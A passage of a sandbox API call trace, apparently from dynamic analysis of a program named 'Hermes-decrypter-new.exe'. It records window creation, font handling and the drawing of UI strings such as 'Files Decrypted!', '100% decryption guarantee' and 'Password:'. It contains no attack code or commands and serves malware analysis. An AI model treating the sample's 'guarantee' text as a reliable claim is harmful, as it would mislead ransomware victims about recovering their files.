dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e318) returned 1 [0167.857] GetCurrentThreadId () returned 0x390 [0167.857] GetCurrentThreadId () returned 0x390 [0167.858] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.858] AdjustWindowRectEx (in: lpRect=0x19e214, dwStyle=0x4600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e214) returned 1 [0167.858] SelectObject (hdc=0x8e0106dd, h=0x210a0725) returned 0x110a0722 [0167.858] DrawTextExW (in: hdc=0x8e0106dd, lpchText="Files Decrypted!", cchText=16, lprc=0x19e200, format=0x2400, lpdtp=0x30596b8 | out: lpchText="Files Decrypted!", lprc=0x19e200) returned 39 [0167.859] GetCurrentThreadId () returned 0x390 [0167.859] GetCurrentThreadId () returned 0x390 [0167.859] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.859] AdjustWindowRectEx (in: lpRect=0x19e214, dwStyle=0x4680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e214) returned 1 [0167.859] DrawTextExW (in: hdc=0x8e0106dd, lpchText="No files decrypted!", cchText=19, lprc=0x19e200, format=0x2400, lpdtp=0x30597f8 | out: lpchText="No files decrypted!", lprc=0x19e200) returned 39 [0167.859] GetCurrentThreadId () returned 0x390 [0167.859] GetCurrentThreadId () returned 0x390 [0167.859] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.859] AdjustWindowRectEx (in: lpRect=0x19e214, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e214) returned 1 [0167.859] SelectObject (hdc=0x8e0106dd, h=0xa0a0724) returned 0x210a0725 [0167.859] DrawTextExW (in: hdc=0x8e0106dd, lpchText="100% decryption guarantee", cchText=25, lprc=0x19e200, format=0x2400, lpdtp=0x3059950 | out: lpchText="100% decryption guarantee", lprc=0x19e200) returned 32 [0167.860] GetCurrentThreadId () returned 0x390 [0167.860] GetCurrentThreadId () returned 0x390 [0167.860] GetCurrentThreadId () returned 0x390 [0167.860] GetCurrentThreadId () returned 0x390 [0167.860] GetCurrentThreadId () returned 0x390 [0167.860] GetCurrentThreadId () returned 0x390 [0167.860] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.860] AdjustWindowRectEx (in: lpRect=0x19e214, dwStyle=0x4600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e214) returned 1 [0167.860] SelectObject (hdc=0x8e0106dd, h=0xb0a0728) returned 0xa0a0724 [0167.860] DrawTextExW (in: hdc=0x8e0106dd, lpchText="Processing...", cchText=13, lprc=0x19e200, format=0x2405, lpdtp=0x3059c14 | out: lpchText="Processing...", lprc=0x19e200) returned 24 [0167.860] GetCurrentThreadId () returned 0x390 [0167.860] GetCurrentThreadId () returned 0x390 [0167.860] GetCurrentThreadId () returned 0x390 [0167.860] GetCurrentThreadId () returned 0x390 [0167.861] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.861] AdjustWindowRectEx (in: lpRect=0x19e214, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e214) returned 1 [0167.861] SelectObject (hdc=0x8e0106dd, h=0x240a0712) returned 0xb0a0728 [0167.861] DrawTextExW (in: hdc=0x8e0106dd, lpchText="Password:", cchText=9, lprc=0x19e200, format=0x2400, lpdtp=0x3059e48 | out: lpchText="Password:", lprc=0x19e200) returned 63 [0167.861] GetCurrentThreadId () returned 0x390 [0167.861] GetCurrentThreadId () returned 0x390 [0167.861] GdipCreateFontFamilyFromName (name="Palatino Linotype", fontCollection=0x0, fontFamily=0x19e448) returned 0x0 [0167.861] GdipCreateFont (fontFamily=0x57faee0, emSize=0x411c0000, style=1, unit=0x3, font=0x305a11c) returned 0x0 [0167.861] GdipGetFontSize (font=0x691c928, size=0x305a120) returned 0x0 [0167.861] CreateCompatibleDC (hdc=0x0) returned 0x10010723 [0167.861] GetDC (hWnd=0x0) returned 0x1e0106e1 [0167.861] GdipCreateFromHDC (hdc=0x1e0106e1, graphics=0x19e22c) returned 0x0 [0167.862] CoTaskMemAlloc (cb=0x5c) returned 0xeeb088 [0167.862] GdipGetLogFontW (font=0x691c928, graphics=0x6923518, logfontW=0xeeb088) returned 0x0 [0167.862] CoTaskMemFree (pv=0xeeb088) [0167.862] CoTaskMemAlloc (cb=0x5c) returned 0xeeaba8 [0167.862] CoTaskMemFree (pv=0xeeaba8) [0167.862] CoTaskMemAlloc (cb=0x5c) returned 0xeeaba8 [0167.862] CoTaskMemFree (pv=0xeeaba8) [0167.862] GdipDeleteGraphics (graphics=0x6923518) returned 0x0 [0167.862] ReleaseDC (hWnd=0x0, hDC=0x1e0106e1) returned 1 [0167.862] CoTaskMemAlloc (cb=0x5c) returned 0xeeaba8 [0167.862] CreateFontIndirectW (lplf=0xeeaba8) returned 0x60a073c [0167.862] CoTaskMemFree (pv=0xeeaba8) [0167.862] SelectObject (hdc=0x10010723, h=0x60a073c) returned 0x8a01c2 [0167.862] GetTextMetricsW (in: hdc=0x10010723, lptm=0x19e328 | out: lptm=0x19e328) returned 1 [0167.862] GetTextExtentPoint32W (in: hdc=0x10010723, lpString="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", c=52, psizl=0x305a668 | out: psizl=0x305a668) returned 1 [0167.863] SelectObject (hdc=0x10010723, h=0x8a01c2) returned 0x60a073c [0167.863] DeleteDC (hdc=0x10010723) returned 1 [0167.863] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.863] AdjustWindowRectEx (in: lpRect=0x19e2b8, dwStyle=0x4600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2b8) returned 1 [0167.863] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.864] AdjustWindowRectEx (in: lpRect=0x19e11c, dwStyle=0x4600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e11c) returned 1 [0167.864] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.864] AdjustWindowRectEx (in: lpRect=0x19df74, dwStyle=0x4600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df74) returned 1 [0167.864] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.864] AdjustWindowRectEx (in: lpRect=0x19e2b8, dwStyle=0x4680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2b8) returned 1 [0167.864] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.864] AdjustWindowRectEx (in: lpRect=0x19e11c, dwStyle=0x4680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e11c) returned 1 [0167.864] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.864] AdjustWindowRectEx (in: lpRect=0x19df74, dwStyle=0x4680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df74) returned 1 [0167.865] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.865] AdjustWindowRectEx (in: lpRect=0x19e2b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2b8) returned 1 [0167.865] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.865] AdjustWindowRectEx (in: lpRect=0x19e11c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e11c) returned 1 [0167.865] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.865] AdjustWindowRectEx (in: lpRect=0x19df74, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df74) returned 1 [0167.865] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.865] AdjustWindowRectEx (in: lpRect=0x19e2b8, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2b8) returned 1 [0167.866] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.866] AdjustWindowRectEx (in: lpRect=0x19e11c, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e11c) returned 1 [0167.866] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.866] AdjustWindowRectEx (in: lpRect=0x19e288, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19e288) returned 1 [0167.866] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.866] AdjustWindowRectEx (in: lpRect=0x19e0ec, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x19e0ec) returned 1 [0167.866] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.866] AdjustWindowRectEx (in: lpRect=0x19e2b8, dwStyle=0x4600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2b8) returned 1 [0167.867] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.867] AdjustWindowRectEx (in: lpRect=0x19e11c, dwStyle=0x4600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e11c) returned 1 [0167.867] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.867] AdjustWindowRectEx (in: lpRect=0x19df74, dwStyle=0x4600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df74) returned 1 [0167.867] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.867] AdjustWindowRectEx (in: lpRect=0x19e2b8, dwStyle=0x560100c1, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2b8) returned 1 [0167.867] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.867] AdjustWindowRectEx (in: lpRect=0x19e11c, dwStyle=0x560100c1, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e11c) returned 1 [0167.868] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.868] AdjustWindowRectEx (in: lpRect=0x19e2b8, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2b8) returned 1 [0167.868] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.868] AdjustWindowRectEx (in: lpRect=0x19e11c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e11c) returned 1 [0167.868] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.868] AdjustWindowRectEx (in: lpRect=0x19df74, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19df74) returned 1 [0167.868] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.868] AdjustWindowRectEx (in: lpRect=0x19e2b8, dwStyle=0x5e01000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2b8) returned 1 [0167.869] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.869] AdjustWindowRectEx (in: lpRect=0x19e11c, dwStyle=0x5e01000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e11c) returned 1 [0167.869] DeleteObject (ho=0x60a073c) returned 1 [0167.869] GetDC (hWnd=0x0) returned 0x1e0106e1 [0167.869] GdipCreateFromHDC (hdc=0x1e0106e1, graphics=0x19e2e0) returned 0x0 [0167.869] GdipGetFontHeight (font=0x691c928, graphics=0x6923518, height=0x19e2d8) returned 0x0 [0167.869] GdipDeleteGraphics (graphics=0x6923518) returned 0x0 [0167.869] ReleaseDC (hWnd=0x0, hDC=0x1e0106e1) returned 1 [0167.870] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.870] AdjustWindowRectEx (in: lpRect=0x19e2c0, dwStyle=0x560100c1, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2c0) returned 1 [0167.870] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.870] AdjustWindowRectEx (in: lpRect=0x19e330, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e330) returned 1 [0167.870] AdjustWindowRectEx (in: lpRect=0x19e3fc, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e3fc) returned 1 [0167.870] GetSystemMetrics (nIndex=59) returned 1460 [0167.870] GetSystemMetrics (nIndex=60) returned 920 [0167.870] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.870] AdjustWindowRectEx (in: lpRect=0x19e234, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e234) returned 1 [0167.870] AdjustWindowRectEx (in: lpRect=0x19e2fc, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e2fc) returned 1 [0167.870] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.871] AdjustWindowRectEx (in: lpRect=0x19e0b8, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e0b8) returned 1 [0167.871] AdjustWindowRectEx (in: lpRect=0x19e2dc, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e2dc) returned 1 [0167.871] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.871] AdjustWindowRectEx (in: lpRect=0x19e030, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e030) returned 1 [0167.871] AdjustWindowRectEx (in: lpRect=0x19e114, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x19e114) returned 1 [0167.871] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.871] AdjustWindowRectEx (in: lpRect=0x19e2d4, dwStyle=0x560100c1, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e2d4) returned 1 [0167.872] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.872] AdjustWindowRectEx (in: lpRect=0x19e138, dwStyle=0x560100c1, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e138) returned 1 [0167.872] GetWindowThreadProcessId (in: hWnd=0x10248, lpdwProcessId=0x19e9b0 | out: lpdwProcessId=0x19e9b0) returned 0x390 [0167.872] GetCurrentThreadId () returned 0x390 [0167.872] GetWindowTextLengthW (hWnd=0x10248) returned 0 [0167.872] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10248, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0167.872] GetSystemMetrics (nIndex=42) returned 0 [0167.872] GetWindowTextW (in: hWnd=0x10248, lpString=0x19e8b8, nMaxCount=1 | out: lpString="") returned 0 [0167.872] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10248, Msg=0xd, wParam=0x1, lParam=0x19e8b8) returned 0x0 [0167.872] GetCurrentActCtx (in: lphActCtx=0x19e844 | out: lphActCtx=0x19e844*=0xef1264) returned 1 [0167.872] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.873] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0167.873] CreateWindowExW (dwExStyle=0x50000, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r11_ad1", lpWindowName="Key", dwStyle=0x56010000, X=0, Y=0, nWidth=661, nHeight=357, hWndParent=0x10248, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10264 [0167.873] SetWindowLongW (hWnd=0x10264, nIndex=-4, dwNewLong=1952448832) returned 88361574 [0167.873] GetWindowLongW (hWnd=0x10264, nIndex=-4) returned 1952448832 [0167.874] SetWindowTextW (hWnd=0x10264, lpString="Key") returned 1 [0167.874] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10264, Msg=0xc, wParam=0x0, lParam=0x305ad38) returned 0x1 [0167.874] GetStartupInfoW (in: lpStartupInfo=0x305b25c | out: lpStartupInfo=0x305b25c*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\FD1HVy\\Hermes-decrypter-new.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0167.875] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10264, Msg=0x5, wParam=0x0, lParam=0x1650295) returned 0x0 [0167.875] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10264, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0167.875] GetClientRect (in: hWnd=0x10264, lpRect=0x19df88 | out: lpRect=0x19df88) returned 1 [0167.875] GetWindowRect (in: hWnd=0x10264, lpRect=0x19df88 | out: lpRect=0x19df88) returned 1 [0167.875] GetParent (hWnd=0x10264) returned 0x10248 [0167.875] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10248, lpPoints=0x19df88, cPoints=0x2 | out: lpPoints=0x19df88) returned -16646646 [0167.875] SendMessageW (hWnd=0x10264, Msg=0x2210, wParam=0x2640001, lParam=0x10264) returned 0x0 [0167.875] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10264, Msg=0x2210, wParam=0x2640001, lParam=0x10264) returned 0x0 [0167.875] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10264, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0167.876] GetParent (hWnd=0x10264) returned 0x10248 [0167.876] GetSystemMetrics (nIndex=49) returned 16 [0167.876] GetSystemMetrics (nIndex=50) returned 16 [0167.876] CreateIconFromResourceEx (presbits=0x305b2dc, dwResSize=0x468, fIcon=1, dwVer=0x30000, cxDesired=0, cyDesired=0, Flags=0x0) returned 0x200097 [0167.877] SendMessageW (hWnd=0x10264, Msg=0x80, wParam=0x0, lParam=0x200097) returned 0x0 [0167.877] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10264, Msg=0x80, wParam=0x0, lParam=0x200097) returned 0x0 [0167.877] SendMessageW (hWnd=0x10264, Msg=0x80, wParam=0x1, lParam=0xd0083) returned 0x0 [0167.877] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10264, Msg=0x80, wParam=0x1, lParam=0xd0083) returned 0x0 [0167.877] GetSystemMenu (hWnd=0x10264, bRevert=0) returned 0x0 [0167.877] GetWindowPlacement (in: hWnd=0x10264, lpwndpl=0x19e854 | out: lpwndpl=0x19e854) returned 1 [0167.877] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x0) returned 1 [0167.877] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf030, uEnable=0x0) returned 1 [0167.877] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf060, uEnable=0x0) returned 1 [0167.877] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf120, uEnable=0x1) returned 1 [0167.877] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf000, uEnable=0x1) returned 1 [0167.877] GetClientRect (in: hWnd=0x10264, lpRect=0x19e898 | out: lpRect=0x19e898) returned 1 [0167.877] GetClientRect (in: hWnd=0x10264, lpRect=0x19e7f8 | out: lpRect=0x19e7f8) returned 1 [0167.877] GetWindowRect (in: hWnd=0x10264, lpRect=0x19e7f8 | out: lpRect=0x19e7f8) returned 1 [0167.877] GetParent (hWnd=0x10264) returned 0x10248 [0167.877] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10248, lpPoints=0x19e7f8, cPoints=0x2 | out: lpPoints=0x19e7f8) returned -16646646 [0167.877] SetMenu (hWnd=0x10264, hMenu=0x0) returned 0 [0167.877] DrawMenuBar (hWnd=0x10264) returned 1 [0167.878] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.878] GetWindowLongW (hWnd=0x10264, nIndex=-16) returned 1442906112 [0167.878] GetWindowLongW (hWnd=0x10264, nIndex=-16) returned 1442906112 [0167.878] GetWindowLongW (hWnd=0x10264, nIndex=-20) returned 327680 [0167.878] SetWindowPos (hWnd=0x10264, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x37) returned 1 [0167.878] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10264, Msg=0x46, wParam=0x0, lParam=0x19e80c) returned 0x0 [0167.878] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10264, Msg=0x83, wParam=0x1, lParam=0x19e7e4) returned 0x0 [0167.878] GetWindowPlacement (in: hWnd=0x10264, lpwndpl=0x19e538 | out: lpwndpl=0x19e538) returned 1 [0167.878] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10264, Msg=0x47, wParam=0x0, lParam=0x19e80c) returned 0x0 [0167.878] GetClientRect (in: hWnd=0x10264, lpRect=0x19e4e8 | out: lpRect=0x19e4e8) returned 1 [0167.878] GetWindowRect (in: hWnd=0x10264, lpRect=0x19e4e8 | out: lpRect=0x19e4e8) returned 1 [0167.878] GetParent (hWnd=0x10264) returned 0x10248 [0167.878] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10248, lpPoints=0x19e4e8, cPoints=0x2 | out: lpPoints=0x19e4e8) returned -16646646 [0167.878] GetParent (hWnd=0x10264) returned 0x10248 [0167.878] RedrawWindow (hWnd=0x10264, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0167.879] GetSystemMenu (hWnd=0x10264, bRevert=0) returned 0x0 [0167.879] GetWindowPlacement (in: hWnd=0x10264, lpwndpl=0x19e844 | out: lpwndpl=0x19e844) returned 1 [0167.879] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x0) returned 1 [0167.879] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf030, uEnable=0x0) returned 1 [0167.879] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf060, uEnable=0x0) returned 1 [0167.879] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf120, uEnable=0x1) returned 1 [0167.879] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf000, uEnable=0x1) returned 1 [0167.879] SetWindowPos (hWnd=0x10264, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x57) returned 1 [0167.879] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10264, Msg=0x46, wParam=0x0, lParam=0x19e88c) returned 0x0 [0167.879] GetWindowTextLengthW (hWnd=0x10248) returned 0 [0167.879] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10248, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0167.879] GetSystemMetrics (nIndex=42) returned 0 [0167.879] GetWindowTextW (in: hWnd=0x10248, lpString=0x19e7e4, nMaxCount=1 | out: lpString="") returned 0 [0167.879] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10248, Msg=0xd, wParam=0x1, lParam=0x19e7e4) returned 0x0 [0167.879] SetWindowPos (hWnd=0x10248, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x57) returned 1 [0167.879] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10248, Msg=0x46, wParam=0x0, lParam=0x19e8b4) returned 0x0 [0167.879] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10248, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0167.880] GetClientRect (in: hWnd=0x10248, lpRect=0x19e5bc | out: lpRect=0x19e5bc) returned 1 [0167.880] GetWindowTextLengthW (hWnd=0x10248) returned 0 [0167.880] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10248, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0167.880] GetSystemMetrics (nIndex=42) returned 0 [0167.880] GetWindowTextW (in: hWnd=0x10248, lpString=0x19e49c, nMaxCount=1 | out: lpString="") returned 0 [0167.880] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10248, Msg=0xd, wParam=0x1, lParam=0x19e49c) returned 0x0 [0167.880] GetClientRect (in: hWnd=0x10248, lpRect=0x19e4c4 | out: lpRect=0x19e4c4) returned 1 [0167.880] GetCurrentObject (hdc=0x60100ce, type=0x1) returned 0xb00017 [0167.880] GetCurrentObject (hdc=0x60100ce, type=0x2) returned 0x900010 [0167.880] GetCurrentObject (hdc=0x60100ce, type=0x7) returned 0x400506ef [0167.880] GetCurrentObject (hdc=0x60100ce, type=0x6) returned 0x8a01c2 [0167.880] SaveDC (hdc=0x60100ce) returned 1 [0167.880] GetNearestColor (hdc=0x60100ce, color=0x323533) returned 0x323533 [0167.880] CreateSolidBrush (color=0x323533) returned 0x2910073a [0167.880] FillRect (hDC=0x60100ce, lprc=0x19e364, hbr=0x2910073a) returned 1 [0167.880] DeleteObject (ho=0x2910073a) returned 1 [0167.880] RestoreDC (hdc=0x60100ce, nSavedDC=-1) returned 1 [0167.880] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10246, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0167.881] GetWindowPlacement (in: hWnd=0x10246, lpwndpl=0x19e5fc | out: lpwndpl=0x19e5fc) returned 1 [0167.881] GetClientRect (in: hWnd=0x10246, lpRect=0x19e5a8 | out: lpRect=0x19e5a8) returned 1 [0167.881] GetWindowTextLengthW (hWnd=0x10246) returned 3 [0167.881] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10246, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x3 [0167.881] GetSystemMetrics (nIndex=42) returned 0 [0167.881] GetWindowTextW (in: hWnd=0x10246, lpString=0x19e478, nMaxCount=4 | out: lpString="Key") returned 3 [0167.881] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10246, Msg=0xd, wParam=0x4, lParam=0x19e478) returned 0x3 [0167.881] GetClientRect (in: hWnd=0x10246, lpRect=0x19e4b0 | out: lpRect=0x19e4b0) returned 1 [0167.881] GetCurrentObject (hdc=0x1e0106e1, type=0x1) returned 0xb00017 [0167.881] GetCurrentObject (hdc=0x1e0106e1, type=0x2) returned 0x900010 [0167.881] GetCurrentObject (hdc=0x1e0106e1, type=0x7) returned 0x400506ef [0167.881] GetCurrentObject (hdc=0x1e0106e1, type=0x6) returned 0x8a01c2 [0167.881] SaveDC (hdc=0x1e0106e1) returned 1 [0167.881] GetNearestColor (hdc=0x1e0106e1, color=0x323533) returned 0x323533 [0167.881] CreateSolidBrush (color=0x323533) returned 0x2a10073a [0167.881] FillRect (hDC=0x1e0106e1, lprc=0x19e350, hbr=0x2a10073a) returned 1 [0167.881] DeleteObject (ho=0x2a10073a) returned 1 [0167.881] RestoreDC (hdc=0x1e0106e1, nSavedDC=-1) returned 1 [0167.881] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1024a, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0167.882] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1024c, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0167.882] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1024e, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0167.882] GetClientRect (in: hWnd=0x1024e, lpRect=0x19e5bc | out: lpRect=0x19e5bc) returned 1 [0167.882] GetWindowTextLengthW (hWnd=0x1024e) returned 0 [0167.882] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1024e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0167.882] GetSystemMetrics (nIndex=42) returned 0 [0167.882] GetWindowTextW (in: hWnd=0x1024e, lpString=0x19e49c, nMaxCount=1 | out: lpString="") returned 0 [0167.882] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1024e, Msg=0xd, wParam=0x1, lParam=0x19e49c) returned 0x0 [0167.882] GetClientRect (in: hWnd=0x1024e, lpRect=0x19e4c4 | out: lpRect=0x19e4c4) returned 1 [0167.882] GetCurrentObject (hdc=0x60100ce, type=0x1) returned 0xb00017 [0167.882] GetCurrentObject (hdc=0x60100ce, type=0x2) returned 0x900010 [0167.882] GetCurrentObject (hdc=0x60100ce, type=0x7) returned 0x400506ef [0167.882] GetCurrentObject (hdc=0x60100ce, type=0x6) returned 0x8a01c2 [0167.882] SaveDC (hdc=0x60100ce) returned 1 [0167.882] GetNearestColor (hdc=0x60100ce, color=0xcc7a00) returned 0xcc7a00 [0167.882] CreateSolidBrush (color=0xcc7a00) returned 0x2b10073a [0167.883] FillRect (hDC=0x60100ce, lprc=0x19e364, hbr=0x2b10073a) returned 1 [0167.883] DeleteObject (ho=0x2b10073a) returned 1 [0167.883] RestoreDC (hdc=0x60100ce, nSavedDC=-1) returned 1 [0167.883] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x10250, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0167.883] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x10250, Msg=0x14, wParam=0x1e0106e1, lParam=0x0) returned 0x1 [0167.883] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10252, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0167.883] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x10254, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0167.883] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x10254, Msg=0x14, 